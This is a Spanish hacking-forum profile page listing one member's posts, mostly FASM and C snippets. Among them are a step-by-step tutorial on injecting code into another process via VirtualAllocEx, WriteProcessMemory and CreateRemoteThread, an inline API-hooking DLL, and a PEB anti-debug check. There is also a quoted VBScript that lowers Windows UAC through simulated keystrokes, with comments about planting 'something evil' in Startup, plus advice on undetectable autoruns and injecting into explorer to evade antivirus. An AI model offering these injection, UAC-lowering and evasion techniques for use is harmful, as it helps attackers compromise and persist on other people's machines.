Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Juan

#141
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Citarserá crear   un espacio en el proceso donde queremos inyectar el código  con la api VirtualProtectEx

xD para reservar espacio en memoria es VirtualAlloc/VirtualAllocEx, VirtualProtect es para cambiar los permisos de lectura o escritura de alguna región de la memoria :P. Saludos bro

Cierto, se me fue la cabeza xD 
#142
Inyecciones de código en memoria

Conocimientos previos:
     
-ASM
      -WinApi


Contenido:
1-   ¿Qué es la inyección de código en memoria?
2-   ¿Cómo realizarla?
     2.1- Teoría
     2.2 -Práctica
3-   Ejemplos de inyecciones
4-   Despedida



1- ¿Qué es la inyección de código en memoria?

La inyección de código en memoria consiste  en que otro proceso ejecute el código que nosotros queramos.



2- ¿Cómo realizarla?

2.1 - Teoria
Para realizar la inyección lo que haremos será crear   un espacio en el proceso donde queremos inyectar el código  con la api VirtualProtectEx a continuación escribiremos nuestro código con WriteProcessMemory y finalmente lanzamos el hilo con CreateRemoteThread

2.2- Práctica
Para poner en práctica la teoría anterior vamos a inyectar nuestra funcion en el proceso del buscaminas y haremos que nuestra función haga un MessageBox:

Código: asm
format PE GUI 4.0
entry start

include 'win32ax.inc'

        Ventana db 'Buscaminas',0
        idproc dd ?
        ID dd ?

        TamFun dd ?
        DirFun dd ?

start:
        invoke FindWindow,NULL,Ventana
        invoke GetWindowThreadProcessId,eax,addr idproc   ;idproc = identficador del proceso
        invoke OpenProcess,PROCESS_ALL_ACCESS,0,[idproc]
        mov [ID],eax

        invoke LoadLibrary,"user32.dll" ;cargamos user32.dll
        invoke GetProcAddress,eax,"MessageBoxA" ;obtenemos la dirección de la api
        mov [mMessageBoxA],eax  ; movemos la dirección de la api a la variable que hay dentro de la funcion qeu inyectaremos

        mov eax,final  ;Obtenemos el tamaño de la función
        sub eax,Inyectado
        mov [TamFun],eax

        invoke VirtualAllocEx,[ID],0,[TamFun],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE  ;generamos el espacio dentro del proceso
        mov [DirFun],eax
        invoke WriteProcessMemory,[ID],eax,Inyectado,[TamFun],0 ;escribimos nuestro código en el proceso
        invoke CreateRemoteThread,[ID],0,0,[DirFun],0,0,0  ;Lanzamos el hilo.

        ret

        proc Inyectado
             call offset  ;Técnica del offset delta.
             offset:
             pop ebx
             sub ebx,offset
             push ebx ebx
             pop ecx edx

             add ecx,titulo
             add edx,cuerpo

             push 0
             push ecx
             push edx
             push 0

             call [ebx+mMessageBoxA]


             ret

             titulo db 'Me inyecte!',0
             cuerpo db 'Este Mensage sale del buscaminas ^^',0

             mMessageBoxA dd ? ;variable que contiene la dirección de [email protected]
        endp
        final:

data import
     library kernel32,'Kernel32.dll',\
             user32,'user32.dll'

     import user32,MessageBoxA,'MessageBoxA',\
            FindWindow,'FindWindowA',\
            GetWindowThreadProcessId,'GetWindowThreadProcessId'

     import kernel32,OpenProcess,'OpenProcess',\
            GetModuleHandle,'GetModuleHandleA',\
            GetProcAddress,'GetProcAddress',\
            VirtualAllocEx,'VirtualAllocEx',\
            WriteProcessMemory,'WriteProcessMemory',\
            CreateRemoteThread,'CreateRemoteThread',\
            LoadLibrary,'LoadLibraryA'
end data 


Como se puede apreciar no es muy difícil pero si plantea un problema grande y es que  nuestro ejecutable sabe en que dirección se encuentra la variable mMessageBoxA cuando compilamos pero al inyectar el código la dirección de la variable cambiara... y nuestra función fallara -_- para eso se usa la tecnica del Delta Offset para recalcular la dirección de las variables y que nuestro código se ejecute bien este en la dirección que este. Para entender que hace el delta Offset pinchar You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


3- Ejemplo de inyecciónes

Un simple ejemplo que lanza la calculadora, se inyecta en su proceso cambia el nombre a la ventana y hace un MessageBox

Código: asm
Format PE GUI 4.0
entry start
include 'win32ax.inc'

calc db 'c:\windows\system32\calc.exe',0
pi PROCESS_INFORMATION ?
sin STARTUPINFO ?
TamFun dd ?  ;tamaño de la funcion...
DirFun dd ? ; dirección de la funcion
DirUser dd ?

start:
        invoke CreateProcessA,0,calc,0,0,0,0,0,0,sin,pi
        invoke Sleep,2000
        invoke LoadLibrary,"user32.dll"
        mov [DirUser],eax

        invoke GetProcAddress,[DirUser],"MessageBoxA"
        mov [mMessageBoxA],eax
        invoke GetProcAddress,[DirUser],"FindWindowA"
        mov [mFindWindow],eax
        invoke GetProcAddress,[DirUser],"SetWindowTextA"
        mov [mSetWindowTextA],eax

        mov ebx,final  ;obtenemos el Tamaño de la función
        sub ebx,Inyectada
        mov [TamFun],ebx

        invoke VirtualAllocEx,[pi.hProcess],0,[TamFun],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
        mov [DirFun],eax
        invoke WriteProcessMemory,[pi.hProcess],eax,Inyectada,[TamFun],0
        invoke CreateRemoteThread,[pi.hProcess],0,0,[DirFun],0,0,0
        ret

        proc Inyectada
                call offset
                offset:
                pop ebx
                sub ebx,offset
                push ebx
                pop ecx

                add ecx,Calculadora

                push ecx
                push NULL
                call [ebx+mFindWindow]

                push ebx
                pop ecx

                add ecx, TituloVen

                push ecx
                push eax
                call [ebx+mSetWindowTextA]

                push ebx ebx
                pop edx ecx

                add ecx,TituloMsg
                add edx,CuerpoMsg

                push 0
                push ecx
                push edx
                push 0

                call [ebx+mMessageBoxA]
                ret

                TituloMsg db 'Inyectado!',0
                CuerpoMsg db 'El código inyectado Cambio el nombre a la ventana',0
                TituloVen db 'Este es un título falso',0
                Calculadora db 'Calculadora',0

                mMessageBoxA dd ?  ;Dirección MessageBox
                mFindWindow dd ?   ;dirección fundwindow
                mSetWindowTextA  dd ? ;Dirección de SetWindowText
        endp
        final:
data import
     library kernel32,'kernel32.dll'

     import kernel32,CreateProcessA,'CreateProcessA',\
            Sleep,'Sleep',\
            GetModuleHandle,'GetModuleHandleA',\
            GetProcAddress,'GetProcAddress',\
            VirtualAllocEx,'VirtualAllocEx',\
            WriteProcessMemory,'WriteProcessMemory',\
            CreateRemoteThread,'CreateRemoteThread',\
            LoadLibrary,'LoadLibraryA'
end data   



4- Despedida
Bueno, ya solo queda la despedida.... Jajaja pues eso que espero que les sea utíl  el tuto, la barrera de lo que podais hacer con las inyecciones de código la poneis vosotros ;)

Saludos.
#143
Dudas y pedidos generales / Re:Duda
Agosto 21, 2011, 11:45:06 PM
Citando para que se quede resuelto tambien por aqui:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Sobre cualquiera de los 2?
En tal caso
Código: vb

Public Class frmO1
    Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles pb1.Click
            frmO2.Show()
    End Sub

    Private Sub PictureBox2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles pb2.Click
            frmO2.Show()
    End Sub
End Class


Si tiene que haber presionado los 2 seria algo asi,

Código: vb

Public Class frmO1
    Private p1 As Boolean = False
    Private p2 As Boolean = False

    Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles pb1.Click
        p1 = True
        If p1 And p2 Then
            frmO2.Show()
        End If
    End Sub

    Private Sub PictureBox2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles pb2.Click
        p2 = True
        If p1 And p2 Then
            frmO2.Show()
        End If
    End Sub
End Class


Saludos,

saludos.
#144
Dudas y pedidos generales / Re:me aconsejarian
Julio 24, 2011, 08:10:49 AM
No vas a poder modificar los valores del dinero (por poner un ejemplo) cuando juegues online ya que el servidor almacena dicha información y aunque en tu pc le cambies el valor en el servidor se ve reflejada la cantidad que tienes realmente.


Por otra parte esto da igual programarlo en C que en C++.

saludos.
#145
ASM / Re:Funciones En Asm
Julio 09, 2011, 08:32:52 AM
Función que pasa un número entero a cadena:

Código: asm
 proc NumToString,Numero
                ;Función creada por Drinky94. Agradecimientos a Jep.
                locals
                        divisor dw ?
                        ; buffer rb 20  Agregar esta variable en la sección data
                        ; El numero 20 es la longitud que tendra la cadena
                        ;si nuestro numero tiene 4 cifras tendremos que poner 4
                        ; CadenaFinal rb 20  ; lo mismo que con la variable buffer.
                endl

                mov [divisor],10
                xor eax,eax
                xor ebx,ebx
                mov eax,[Numero]
                bucle:
                        xor edx,edx
                        div [divisor]
                        add dl,0x30
                        mov byte[buffer+ebx],dl
                        inc ebx
                        cmp eax,0
                            jne bucle
                inc ebx
                mov byte[buffer+ebx],0x0
                mov eax,buffer
                mov ecx,-1
                buclelen:
                        inc ecx
                        cmp byte[eax+ecx],0
                            jne buclelen
                xor ebx,ebx
                dec ecx
                reverse:
                        xor edx,edx
                        mov dl,byte[eax+ecx]
                        mov byte[CadenaFinal+ebx],dl
                        inc ebx
                        sub ecx,1
                        cmp ecx,-1
                            jne reverse
                mov eax,CadenaFinal
                ret
        endp 


Ejemplo de su uso:

Código: asm
include 'win32ax.inc'

.data
        buffer rb 4
        CadenaFinal rb 4
.code
start:
        stdcall NumToString,1994
        invoke MessageBoxA,0,eax,0,0
        ret

        proc NumToString,Numero
                ;Función creada por Drinky94. Agradecimientos a Jep.
                locals
                        divisor dw ?
                        ; buffer rb 20  Agregar esta variable en la sección data
                        ; El numero 20 es la longitud que tendra la cadena
                        ;si nuestro numero tiene 4 cifras tendremos que poner 4
                        ; CadenaFinal rb 20  ; lo mismo que con la variable buffer.
                endl

                mov [divisor],10
                xor eax,eax
                xor ebx,ebx
                mov eax,[Numero]
                bucle:
                        xor edx,edx
                        div [divisor]
                        add dl,0x30
                        mov byte[buffer+ebx],dl
                        inc ebx
                        cmp eax,0
                            jne bucle
                inc ebx
                mov byte[buffer+ebx],0x0
                mov eax,buffer
                mov ecx,-1
                buclelen:
                        inc ecx
                        cmp byte[eax+ecx],0
                            jne buclelen
                xor ebx,ebx
                dec ecx
                reverse:
                        xor edx,edx
                        mov dl,byte[eax+ecx]
                        mov byte[CadenaFinal+ebx],dl
                        inc ebx
                        sub ecx,1
                        cmp ecx,-1
                            jne reverse
                mov eax,CadenaFinal
                ret
        endp
.end start     


#146
ASM / Re:Funciones En Asm
Julio 08, 2011, 07:13:53 AM
Una simple funcion de encriptación Xor:

Código: asm
proc Cifrar,Cadena
            xor ecx,ecx
            mov eax,[Cadena]
            .bucle:
                .if byte[eax+ecx] = 0
                    jmp .salir
                .endif
                xor byte[eax+ecx],7
                inc ecx
                jmp .bucle
            .salir:
            ret
         endp


Ejemplo de su uso:

Código: asm
include 'win32ax.inc'

.data
        hola db 'hola',0

.code
start:
         stdcall Cifrar,hola
         invoke MessageBoxA,0,eax,0,0
         ret

         proc Cifrar,Cadena
            xor ecx,ecx
            mov eax,[Cadena]
            .bucle:
                .if byte[eax+ecx] = 0
                    jmp .salir
                .endif
                xor byte[eax+ecx],7
                inc ecx
                jmp .bucle
            .salir:
            ret
         endp
.end start   
#147
Dudas y pedidos generales / Re:Duda con winsock
Julio 08, 2011, 06:54:51 AM
Si es un archivo qeu ocupa mas de 1024 bytes lo tendras que enviar por partes...

#148
ASM / Re:Funciones En Asm
Julio 08, 2011, 06:27:16 AM
Saber si nos están debuggeando:

Código: asm
format PE GUI 4.0
entry start

include 'win32ax.inc'

    SiDbg db 'Hay Debugger',0
    NoDbg db 'No hay Debugger',0

start:
        mov eax,dword[fs:18h]
        mov eax,dword[eax+30h]
        mov bl,byte[eax+2]  ; si bl = 1 Nos estan debujeando.

        .if bl = 1
            invoke MessageBoxA,0,SiDbg,0,0
        .else
            invoke MessageBoxA,0,NoDbg,0,0
        .endif
        ret

data import
        library user32,'user32.dll'

        import user32,MessageBoxA,'MessageBoxA'

end data           


#149
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Excelente aporte para los que empiezan, pero deberías esforzarte por hacer un poco más práctico sin tanta cosa inútil el código citando algunos errores para que puedas identificarlos más fácilmente.
Citar
stdcall ASCIITOUNICODE,mensajito,buffer;pasamos la cadena que se mostrara en MessageBoxW a Unicode

Eso no es muy inteligente por varias razones :

1º El buffer que es utilizado para la cadena en UNICODE es demasiado pequeño (de un solo byte) :
Código: text
buffer db ?

2º Se puede llamar dentro de la misma función hook a MessageBoxA saltando unos bytes más adelante del API.

Igualmente esa forma de hookear, mediante DLL Injection es ineficiente. Puedes hacer lo mismo abriendo un proceso y escribiendo en la memoria. También, para simplificar el ejemplo, deberías quitar todas las API que no usas, además que FASM ensambla el ejecutable con las API que no usas en la IAT y quedan ocupando espacio.

EDIT:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Pedazo de mierda sin valor, estaba esperando el momento desde que copiaste ese stub foo dll fasm.

1- Porsi no lo sabias el compilador arregla eso ;)

2- No es llamando unos pocos bytes mas adelante, es ejecutando los bytes que as remplazado que se suponen que estan en otra parte de la memoria.

Y por ultimo, porque es ineficiente? sabes tu que a mi no me vale así? te repito que es solo un ejemplo,,, pero vamos, que te invito a que programes tu algo usando api hooking y nos deleites ;D

salu2!
#150
ASM / Re:Funciones En Asm
Julio 03, 2011, 05:39:52 PM
DGlobalAlloc: funcion equivalente a GlobalAlloc

Código: asm
proc DGlobalAlloc,cantidad
        sub esp,[cantidad]
        mov eax,esp
        ret
endp


Ejemplo de su uso:

Código: asm
include 'win32ax.inc'

.data
    palabra db 'Drinky94',0
    longitud dd ?
.code
start:

    stdcall Len,palabra
    mov [longitud],ecx
    stdcall DGlobalAlloc,1024
    push eax
    invoke wsprintfA,eax,"%d",[longitud]
    pop eax
    invoke MessageBox,0,eax,0,MB_OK
    leave
    ret

    proc Len,Cadena
        mov eax,[Cadena]
        mov ecx,-1
        bucle:
            inc ecx
            cmp byte[eax+ecx],0
            jne bucle
        ret
    endp

    proc DGlobalAlloc,cantidad
        sub esp,[cantidad]
        mov eax,esp
        ret
    endp
.end start
#151
Códigos Fuentes / Re:Keylogger basico
Mayo 18, 2011, 02:36:11 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Bueno el key con hook, pocas lineas, tendrás por ahí uno para linux?

Saludos

Lo siento pero no... :-\ solo programo para windows.

salu2!
#152
Dudas y pedidos generales / Re:ayuden por favor
Mayo 09, 2011, 11:29:26 AM
Por favor, no revivan temas viejos, para preguntas nuevas creen un nuevo post.

salu2! y cierro tema.
#153
Código: text
;##########################################################
;##  Ejemplo API Hooking by Drinky94                      ##
;##  Agradecimientos a:                                  ##
;##      [Zero] por todo en lo que me ayuda              ##
;##       YST por su funcion ASCIITOUNICODE              ##
;##########################################################

format PE GUI 4.0 DLL
entry DllEntryPoint

include 'win32ax.inc'

section '.code' code readable executable

proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
        locals
            proteccion dd ?
        endl

        stdcall ASCIITOUNICODE,mensajito,buffer;pasamos la cadena que se mostrara en MessageBoxW a Unicode

        invoke LoadLibrary,'user32.dll' ;Cargamos User32
        invoke GetProcAddress,eax,"MessageBoxA" ;obtenemos la direccion de la api
        mov ebx,eax; ebx  = direccion MessageBoxA

        mov eax,hook  ;Calculamos la distancia entre el jmp y la funcion donde saltaremos
        sub eax,ebx
        sub eax,4

        mov ecx,eax

        push ebx
        push ecx

        invoke VirtualProtect,ebx,5,PAGE_EXECUTE_READWRITE,addr proteccion     ;le damos a 5 bytes permiso de escritura

        pop ecx
        pop ebx

        mov byte[ebx],0xE9  ;escribimos un jmp
        inc ebx
        mov dword[ebx],ecx ;escriimos la longitud del salto
        add ebx,4
        ret
endp

proc hook,uno,dos,tres,cuatro  ;funcion que remplaza a MesasgeBoxA
    invoke MessageBox,0,buffer,0,0 ;Si se llama a MessageBoxA, mostramos nuestro mensagito :PP
    mov eax,0  ;devolvemos cero
    jmp ebx  ;saltamos donde nos quedamos para continuar la ejecucion.
endp

proc ASCIITOUNICODE,Cadena,Buffer
;Funcion By YST

push ecx ebx
mov  eax,[Cadena]
mov ebx,[Buffer]
dec eax
sub ebx,2
.bucle:
inc eax
cmp byte[eax],0
je .salir
add ebx,2
mov cl,byte[eax]
mov byte[ebx],cl
mov byte[ebx+1],0
jmp .bucle
.salir:
pop ebx ecx
ret
endp

proc ShowErrorMessage hWnd,dwError
  local lpBuffer:DWORD
        lea     eax,[lpBuffer]
        invoke  FormatMessage,FORMAT_MESSAGE_ALLOCATE_BUFFER+FORMAT_MESSAGE_FROM_SYSTEM,0,[dwError],LANG_NEUTRAL,eax,0,0
        invoke  MessageBox,[hWnd],[lpBuffer],NULL,MB_ICONERROR+MB_OK
        invoke  LocalFree,[lpBuffer]
        ret
endp

; VOID ShowLastError(HWND hWnd);

proc ShowLastError hWnd
        invoke  GetLastError
        stdcall ShowErrorMessage,[hWnd],eax
        ret
endp
section '.data' data readable writeable
        mensajito db 'Msgbox Hookeado',0
        buffer db ?


section '.idata' import data readable writeable

  library kernel,'KERNEL32.DLL',\
          user,'USER32.DLL'

  import kernel,\
         GetLastError,'GetLastError',\
         SetLastError,'SetLastError',\
         FormatMessage,'FormatMessageA',\
         LocalFree,'LocalFree',\
         LoadLibrary,'LoadLibraryA',\
         GetProcAddress,'GetProcAddress',\
         VirtualProtect,'VirtualProtect'

  import user,\
         MessageBox,'MessageBoxW'

section '.edata' export data readable

  export 'ERRORMSG.DLL',\
         ShowErrorMessage,'ShowErrorMessage',\
         ShowLastError,'ShowLastError'

section '.reloc' fixups data discardable 


un código vale mas que mil palabras  ;D

salu2!
#154
Leandro Ascierto desarrollo uno y es de código abierto:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

salu2!
#155
Dudas y pedidos generales / Re:ayuden por favor
Abril 04, 2011, 06:22:27 PM
Realmente no era un error, simpelmente no pausabas la ejecución del programa y por eso no podías ver el mensage... porque la consola se abria y cerraba rapidamente.

Tambien puedes usar scanf,getchar entre otros para pausar la ejecución ya que system("PAUSE") hace una llamada al sistema y realentiza  la ejecución del programa, cada cual usa el metodo que quiere, yo tambien uso system("PAUSE");  :P

salu2!
#156
Códigos Fuentes / Simple Shell Remota
Abril 03, 2011, 02:12:03 PM
Este es el código de una shell remota que he creado hace un tiempito:

Código: c
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>

int main()
{
    SECURITY_ATTRIBUTES sa;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
   
    void * leer;
    void * escribir;

    ZeroMemory(&sa,sizeof(&sa));
   
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = NULL;

    CreatePipe(&leer,&escribir,&sa,0);

    GetStartupInfoA(&si);
   
    si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    si.hStdOutput = escribir;
    si.hStdError  = escribir;
    si.hStdInput = leer;
   
    CreateProcessA(0,"c:\\windows\\system32\\cmd.exe /c dir",0,0,TRUE,0,0,0,&si,&pi);
    Sleep(200);
    CloseHandle(escribir);
   
    char buffer[1024];
    DWORD bleidos;
    ReadFile(leer,buffer,1024,&bleidos,0);
    MessageBoxA(0,buffer,0,0);
   
    system("PAUSE");
    return 0;
}


salu2!
#157
Bueno, este es un cñodigo de ejemplo sobre como hacerlo:

Código: c
// Código By Drinky94

#include <stdio.h>
#include <stdlib.h>

int main()
{
    struct
    {
        unsigned bit0:1;
        unsigned bit1:1;
        unsigned bit2:1;
        unsigned bit3:1;
        unsigned bit4:1;
        unsigned bit5:1;
        unsigned bit6:1;
        unsigned bit7:1;
    } byte;
     
    printf("Introduce un numero: ");
    scanf("%d",&byte);
   
    printf("El numero en binario es: ");
    printf("%d",byte.bit7);
    printf("%d",byte.bit6);
    printf("%d",byte.bit5);
    printf("%d",byte.bit4);
    printf("%d",byte.bit3);
    printf("%d",byte.bit2);
    printf("%d",byte.bit1);
    printf("%d\n",byte.bit0);
   
    system("PAUSE");
    return 0;
}


salu2!
#158
Ofuscarlo seria para saltar los Avs cuando escanean pero para esto no sirve ya que lo que detecta es la accion de añadirse al registro...
Nose si se podrá hacer esto en VBS sin que lo detecte la seguridad de windows, en otros lenguajes podrías intentar inyectar código en un proceso con derechos como explorer y etc. Tambien puedes provar a desactivar la UAC :).

salu2!

EDITO:

Ahi te va un código que encontre por la red para desactivarlo:

Código: text
'// 1337H4x Written by _____________ 
'//                    (12 year old)

Set WshShell = WScript.CreateObject("WScript.Shell")

'// Toggle Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)

'// Search for UAC applet
WshShell.SendKeys("change uac")
WScript.Sleep(2000)

'// Open the applet (assuming second result)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)

'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")

'// Save our changes
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")

'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder

'// Reboot the system
'// WshShell.Run "shutdown /r /f"


Link de la web:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

#159
Si, primero azte una bases de significados como te dijo Antrax.

Despues deberías de aprender algun lenguaje de programación para tener una base minima y saber como funciona un programa. Lo de aprender un lenguaje lo tendrias que ir orientando ya a la parte del hacking a la que te quieres dedicar, porque dentro del hacking hay muchisimos campos, te puedes dedicar a la Ingenieria inversa, Bugs y exploits,troyanos y virus,etc.

Otro punto a tener en cuenta esque despues de llegar a una meta hay otras muchas detras que tambien deberas batir, con esto quiero llegar a que porque robes una cuenta del msn no eres un hacker  y que la palabra hacker no se concentra en un solo campo. El caso es que nunca hay que dejar de aprender y nunca va a haber alguien que lo sepa todo.

Bueno aqui acaba mi minicharla, creo que te he podido dejar algunas cosas claras, otras cosas igual te las lie mas... si tienes alguna duda no dudes en preguntarla ;)

salu2! y animo!

#160
ah, entonces si jajaja. Desde luego tiene que salir un autorun FUD por narices... la mayoria de los cds de programas lleban autorun y no son detectados.